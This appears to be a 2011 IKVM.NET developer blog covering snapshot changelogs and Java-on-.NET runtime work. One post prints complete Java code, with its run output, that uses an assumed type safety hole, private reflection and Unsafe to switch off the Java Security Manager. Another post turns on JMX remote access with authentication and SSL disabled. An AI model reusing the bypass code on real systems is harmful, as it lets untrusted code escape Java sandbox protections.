# Friday, 07 October 2011
New Development Snapshot

Time for a new snapshot. With the (more or less) completion of java.nio.file the release is getting closer. There are still some minor issues, but the bulk of the work is now complete.

Changes:

  • Fixed ikvmstub to handle annotation defaults.
  • Fixed ikvmc to generate (private) setter for final instance fields that get an access stub to support serialization and reflection.
  • Runtime.exec() fix. When disambiguating executable names, we should only try to append .exe if the filename doesn't already contain a dot.
  • Removed unnecessary link demand from MappedByteBuffer that caused problems when building for .NET 4.0.
  • Fixed MethodHandle constructor invocation issue when running on .NET 4.0.
  • Removed mapping of System.Security.VerificationException to java.lang.VerifyError.
  • Fixed os.name and os.version system properties when running on unknown Windows version (Windows 8).
  • Bug fix. IPInterfaceProperties.GetIPv_Properties() can throw an exception (and does so on Windows 8 for some interfaces).
  • Fixed ikvmc to not open the remap file with write access.
  • Implemented remaining java.nio.file functionality (minus most optional functionality and ACL support).
  • IKVM.Reflection: Implemented ToString() for EventInfo and PropertyInfo.
  • IKVM.Reflection: Copy all assembly flags when adding an assembly reference (WinRT fix).
  • IKVM.Reflection: Added API extension to query and define custom attributes on interfaceimpl records.
  • IKVM.Reflection: Added support for targetting ARM.
  • IKVM.Reflection: Added ILGenerator.__StackHeight property API extension.

Binaries available here: ikvmbin-7.0.4296.zip

Friday, 07 October 2011 12:38:26 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Tuesday, 06 September 2011
New Development Snapshot

Time for a new snapshot.

Changes:

  • Enabled parallel class loading.
  • Fix ClassLoader.findLoadedClass0() to handle null string.
  • Fixed class loader to always check parent class loader for validity.
  • Implemented platform MBean server support (although with very limited information/exposed operations).
  • Fixed race condition in Thread.initContextClassLoader().
  • Updated StringHelper to OpenJDK 7.
  • Fixed field reflection not use "slow path" to get consistent exception behavior (accessing Throwable fields on non-Java exceptions is not supported).
  • Implemented Unsafe.defineClass().
  • Completed implementation of new Unsafe.copyMemory() overload. This fixes several direct ByteBuffer regressions (introduced when we started using OpenJDK 7).
  • Implemented SocketChannel.sendOutOfBandData().
  • Implemented DatagramChannel multicast methods.
  • Fix for #3404229.
  • Bug fix. Don't create a miranda method if the class already has a static method with the same signature.

Binaries available here: ikvmbin-7.0.4266.zip

Tuesday, 06 September 2011 12:07:48 (W. Europe Daylight Time, UTC+02:00)  #    Comments [5]
# Thursday, 01 September 2011
Platform MBean Server

The release notes for IKVM.NET have always said "Not implemented" for java.lang.management and javax.management. This was mostly due to the fact that I don't know very much about this area of Java and it doesn't make a lot of sense to use Java management tools when the equivalent .NET management tools are probably a better fit (at least for VM level operations).

This week, prompted by a question on the ikvm-developers list, I decided to look into improving the situation (a bit). As a result it is now possible to get the platform MBean server and to connect to it with the jconsole application.

To start the server run the following code:

java.lang.System.setProperty("com.sun.management.jmxremote", "true");
java.lang.System.setProperty("com.sun.management.jmxremote.authenticate", "false");
java.lang.System.setProperty("com.sun.management.jmxremote.ssl", "false");
java.lang.System.setProperty("com.sun.management.jmxremote.port", "9999");

sun.management.Agent.startAgent();

Now when you start jconsole in the following way, you can connect to localhost:9999

jconsole -J-Dcom.sun.management.jmxremote.ssl=false

Note that the mechanism that jconsole uses to detect and connect to locally running JDK instances is very platform specific and is not supported. Note also that IKVM does not support "agents" , so you have to start the management agent explicitly by calling it directly.

Limitations

The information (and operations) exposed is pretty limited. I still maintain that using .NET specific management tools is a better solution, but if you have any specific scenario you want to see supported, please let me know and I'll consider it.

Code

If you want to play with it, the binaries are available here: ikvmbin-7.0.4261.zip

Thursday, 01 September 2011 11:16:57 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
# Tuesday, 30 August 2011
New Development Snapshot

Time for a new snapshot.

Changes:

  • Hardened runtime against asynchronous Thread.Abort() during critical operations. Fix for bug #3385353. Still not a good idea to do an asynchronous Thread.Abort() or Thread.stop() though.
  • Fixed ikvmstub to export exceptions declared with ThrowsAttribute(Type) (in .NET code) properly.
  • Implemented some more java.nio.file APIs.
  • Merged OpenJDK 7 sun.nio.ch.FileChannelImpl changes.
  • Implemented positional read/write for FileChannel.
  • Fixed several FileChannel append issues.
  • Added more missing classes and resources.
  • Added back some rmi stubs that somehow got dropped during 6 -> 7 transition.
  • Implemented AsynchronousFileChannel.
  • Implemented AsynchronousSocketChannel and AsynchronousServerSocketChannel.
  • Merged OpenJDK 7 sun.nio.ch.DatagramChannelImpl changes.
  • Implemented nio IPv6 support (Windows Vista and up only).
  • Implemented dual stack sockets (Windows Vista and up only).
  • JSR292 bug fix. If the bootstrap method throws an exception and the call signature has a non-void return type, we didn't generate the proper exception throwing stub.
  • JSR292 bug fix. Types need to be finished before they can be used in a DynamicMethod.
  • Verifier bug fix. Exception blocks inside potential try { } finally { } blocks were not handled correctly. Could result in finally blocks that run multiple times (when an exception occurs).

Binaries available here: ikvmbin-7.0.4258.zip

Tuesday, 30 August 2011 07:36:16 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Tuesday, 16 August 2011
New Development Snapshot

There's a working JSR292 implementation now. No optimization work has been done yet, the first step is to get things working.

Changes:

  • Implemented JSR292.
  • Added missing classes & resources.
  • Improved IKVM.Runtime.dll build script.
  • Support remap file <throws /> element for methods and constructors defined in remap file.
  • Added workaround for .NET 2.0 bug in Assembly.GetType() that caused runtime to incorrectly assume a proxy stub exists.
  • Changed ikvmstub to handle TypeLoadException in the same way as other exceptions.
  • Fixed bug in the compiler's handling of the "ldc " bytecode. Undersome conditions it would incorrectly optimize away the exception handler around it.
  • Added Kerberos support (on Windows). Based on patch submitted by Trevor Bell.
  • Bug fix. TypeWrapper.IsAssignableTo() didn't handle arrays with primitive elements properly.

Binaries available here: ikvmbin-7.0.4245.zip

Tuesday, 16 August 2011 10:35:23 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Monday, 08 August 2011
MethodHandle From C#

using java.lang.invoke;

class Program {
  static void Main() {
    MethodType mt = MethodType.methodType(typeof(void), typeof(string), typeof(object[]));
    MethodHandle mh = MethodHandles.lookup().findStatic(typeof(System.Console), "WriteLine", mt);
    mh.invoke("{0} {1}", "Hello", "World");
  }
}

This now works, but it is not very efficient. Invoking a MethodHandle from Java is more efficient, because the call site signature is statically known in that case.

You can also call invokeExact from C#, but that's even less usefull, because (unlike from Java) you can only call MethodHandles with the same signature as invokeExact. However, it is very fast, because it doesn't do any conversions.

If there is demand for it, I'll consider adding a public API for getting the delegate from a MethodHandle.

Monday, 08 August 2011 11:26:45 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Friday, 05 August 2011
MethodHandle Progress

I've been working on JSR-292 and in particular MethodHandle support the past week. It's been fun and I only found a single CLR bug so far, so I guess that's not too bad.

In the implementation of MethodHandle I use lots of delegates and DynamicMethods. When you generate invalid CIL for a DynamicMethod fun stuff happens, e.g. helpful exceptions, unhelpful exceptions, crashes or this interesting message:

====WARNING====
You have probably encountered known bug VSW:137474, which fires
when System.EnterpriseServices.Thunk.Proxy::LazyRegister is jitted.
The bug often shows up in tests under ManagedServices\Interop.
VSW:137474 has been fixed, but the fix has not yet been propagated
to Lab21S. Please check to see if the assert/AV occurs while
compiling LazyRegister before entering a new bug for this failure.
===============

The JIT just prints this to the console and continues on!

The OpenJDK java.lang.invoke package tests now pass on my systems with only 3 failures and they are all well understood. The first is due to invokedynamic not being implemented yet and the other two due the fact that I have not yet implement full variable arity delegates. Currently there are about 44 delegates for the arities from 0 to 21 (unfortunately you can't use System.Void as a generic type parameter, so you need special ones for void signatures).

Eventually I'll have fewer delegate types and use a tuple like value type to pack arguments together. The JVM only support 256 arguments so 8 x 8 x 8 should be enough.

The code is still very rough, so it'll probably be at least another week before anything is ready to check in or release a development snapshot.

Friday, 05 August 2011 16:45:51 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Monday, 01 August 2011
How To Disable the Java Security Manager

Suppose you have a type safety vulnerability in Java, you could use it to execute native code, but you can also simply disable the SecurityManager:

import java.io.*;
import java.lang.ref.*;
import java.lang.reflect.*;

class Union1 {
  ObjectStreamClass osc;
  Class c;
  AccessibleObject acc;
}

class Union2 {
  MyObjectStreamClass osc;
  MyClass c;
  MyAccessibleObject acc;
}

class MyObjectStreamClass {
  int i1;
  int i2;
  int i3;
  int i4;
  Object obj1;
  Object obj2;
  Long suid;
}

class MyClass {
  int i1;
  int i2;
  int i3;
  int i4;
  Object obj1;
  Object obj2;
  Object obj3;
  Object obj4;
  SoftReference<Field[]> declaredFields;
  Object obj6;
  SoftReference<Method[]> declaredMethods;
  Object obj8;
}

class MyAccessibleObject {
  boolean override;
}

class DisableSecurityManager {
  static Union1 u1 = new Union1();
  static Union2 u2;
  static Method privateGetDeclaredFields;
  static Method privateGetDeclaredMethods;

  public static void main(String[] args) throws Exception {
    u2 = TypeSafetyHole.setupUnions(u1);
    disableSecurityManager();
  }

  static void disableSecurityManager() throws Exception {
    initReflection();

    Object unsafe = getField(java.util.Random.class, "unsafe").get(null);
    Method staticFieldBase = getMethod(unsafe.getClass(), "staticFieldBase");
    Method staticFieldOffset = getMethod(unsafe.getClass(), "staticFieldOffset");
    Object base_System = staticFieldBase.invoke(unsafe, System.class);
    Method getObject = getMethod(unsafe.getClass(), "getObjectVolatile");
    Method putObject = getMethod(unsafe.getClass(), "putObjectVolatile");

    SecurityManager sm = System.getSecurityManager();
    System.out.println(sm);
    for (int i = 0; ; i += 4) {
      if (getObject.invoke(unsafe, base_System, i) == sm) {
        System.out.println("found it!");
        putObject.invoke(unsafe, base_System, i, null);
        break;
      }
    }
    System.out.println(System.getSecurityManager());
  }

  static void initReflection() throws Exception {
    u1.osc = ObjectStreamClass.lookup(Class.class);
    u1.c = Class.class;
    System.out.println(ObjectStreamClass.lookup(Class.class).getSerialVersionUID());
    u2.osc.suid = null;
    System.out.println(ObjectStreamClass.lookup(Class.class).getSerialVersionUID());
    for (Method m : u2.c.declaredMethods.get()) {
      if (m.getName().equals("privateGetDeclaredFields")) {
        u1.acc = m;
        u2.acc.override = true;
        privateGetDeclaredFields = m;
      }
      if (m.getName().equals("privateGetDeclaredMethods")) {
        u1.acc = m;
        u2.acc.override = true;
        privateGetDeclaredMethods = m;
      }
    }
  }

  static Field getField(Class c, String name) throws Exception {
    Field[] fields = (Field[])privateGetDeclaredFields.invoke(c, false);
    for (Field f : fields) {
      if (f.getName().equals(name)) {
        u1.acc = f;
        u2.acc.override = true;
        return f;
      }
    }
    throw new Error("Field not found");
  }

  static Method getMethod(Class c, String name) throws Exception {
    Method[] methods = (Method[])privateGetDeclaredMethods.invoke(c, false);
    for (Method m : methods) {
      if (m.getName().equals(name)) {
        u1.acc = m;
        u2.acc.override = true;
        return m;
      }
    }
    throw new Error("Method not found");
  }
}  

This code requires JDK 7. Note that you can't use reflection to access the System.security field, because it is special cased by the reflection code (cute, but not very effective).

Here's how it runs (given a suitable implementation of TypeSafetyHole):

C:\j>\jdk1.7\bin\java -Djava.security.manager DisableSecurityManager
3206093459760846163
5184993009896724798
java.lang.SecurityManager@150ac9a8
found it!
null
Monday, 01 August 2011 16:27:17 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
New Development Snapshot

After a massive amount of work, we finally have a new development snapshot based on OpenJDK 7 b147. There is still a lot of work to do to implement all the new functionality, but at least all the OpenJDK code has now been integrated.

There should not be any major regressions, but if you run into any (that isn't caused by an ikvm.internal.NotYetImplementedError or System.NotImplementedException) please let us know.

Missing:

  • IPv6 support is still at 0.46 level.
  • JSR-292: Only MethodHandle.invokeExact support has been implemented. Mostly untested.
  • Parallel class loading support not yet implemented.
  • java.nio.file: Standard file system incomplete.
  • java.nio.channels.AsynchronousFileChannel not yet implemented.

Changes:

  • Integrated OpenJDK 7 b147.
  • New version numbering scheme: 7.0.@BUILD@.0.
  • Added ikvmc -warnaserror option (which turns all warnings into errors, as opposed to the already existing option -warnaserror: to turn specific warnings into errors).
  • Added -warnaserror to the IKVM.OpenJDK.*.dll builds.
  • Changed ikvmc not to stop on the first error encountered. Keep going until 100 errors. Note that there still are a bunch of immediately fatal errors.
  • Fixed java.io.FileOutputStream in append mode to use atomic append.
  • Fixed java.util.zip to support files larger than 2GB and added Zip64 support.
  • Made sun.misc.Unsafe.ensureClassInitialized() into an intrinsic.
  • Extended map file support for ldtoken opcode to support loading method and field tokens.
  • Fixed Thread.isCCLOverridden() bug. If the [g|s]etContextClassLoader() methods were not JITted before isCCLOverridden(), ldftn would return the JIT stub address and the vtable could contain the JITted method address.
  • Added -Xnoglobbing option to ikvm.exe.
  • Added a new (additional) naming scheme for "managed JNI" method container classes that avoids all the name collisions.
  • Moved java.awt.AWTPermission into SwingAWT assembly.
  • Added map file support for opcodes: ldarg_s, or, xor, not.
  • Fixed I18N system properties (user.language, user.country, user.variant and user.script).
  • Set sun.java.command and sun.java.launcher properties in ikvm.exe.
  • Added missing lib/ext resources.
  • Fixed ikvmstub compatibility with newer versions of ICSharpCode.SharpZipLib.dll which require the ZipEntry size to be set explicitly, otherwise the generated archive will not be compatible with older zip implementations (like Java 6's java.util.zip).
  • Fixed serialization interop bug that could cause ArrayIndexOutOfBoundsException to be thrown while writing.
  • Fixed a serialization interop bug. If an object is a subclass of a class that has readResolve() method, but the subclass doesn't have a readResolve(), we should not call the base class readResolve().
  • Bug fix. When an abstract .NET type implements System.IComparable (and hence java.lang.Comparable) the resulting stub is not usable from Java because the compareTo method is missing. This fix adds the missing method.
  • Added support for declaring exceptions on shadow interface methods.
  • Fix and enhancement. When a .NET type implements a shadowed interface, we now also publish the original interface (e.g. if the .NET type implements System.IComparable, Java code will now see java.lang.Comparable and System.IComparable). In addition, the new code makes sure that when a .NET type explicitly implements both System.IComparable and java.lang.Comparable that the Java code will not see java.lang.Comparable twice.
  • Include OpenJDK 7 java.lang.AutoCloseable interface and make it shadow System.IDisposable. Removed java.io.Closeable special casing to support IDisposable (now automatic because Closeable extends AutoCloseable).
  • IKVM.Reflection: Fixed CliHeader read bug. Thanks to Oleg Mihailik for reporting this.

Binaries available here: ikvmbin-7.0.4230.zip
OpenJDK 7 sources: openjdk7-b147-stripped.zip

Monday, 01 August 2011 11:53:21 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Monday, 11 July 2011
How to Detect if a Method is Overridden Redux

Using a clever hack is always risky. Previously I described how to use the ldftn and ldvirtftn CIL instructions to detect if a method is overriden by a subclass. It turns out that there is a problem with this trick. If the method containing the ldftn instruction is JITted before the method it refers to, the method pointer returned (and burned into the generated code) is the JIT stub, when the method subsequently is JITted the new function pointer is stored in the vtable of subsequently loaded subclasses and the detection method yields a false positive.

Here's a small C# demo that demonstrates an equivalent effect:

using System;
using System.Runtime.CompilerServices;

class Program {
  static void Main() {
    RuntimeMethodHandle m = typeof(Program).GetMethod("Foo").MethodHandle;
    //RuntimeHelpers.PrepareMethod(m);
    Console.WriteLine(m.GetFunctionPointer());
    new Program().Foo();
    Console.WriteLine(m.GetFunctionPointer());
  }

  public virtual void Foo() { }
}

When you run this program on .NET, it prints out two different values. One possible solution is present in the commented out line, if you uncomment that the two pointer values printed will be the same, because PrepareMethod forces the method to be JIT compiled.

Another slightly more robust method is to avoid ldftn and use ldvirtftn to get the base method as well. The downside is that you need to have an instance of an object of a class that does not override the method in question.

Finally, if you want to use this approach consider using this as an optimization and if this detection is positive, use reflection to confirm.

Monday, 11 July 2011 16:35:52 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]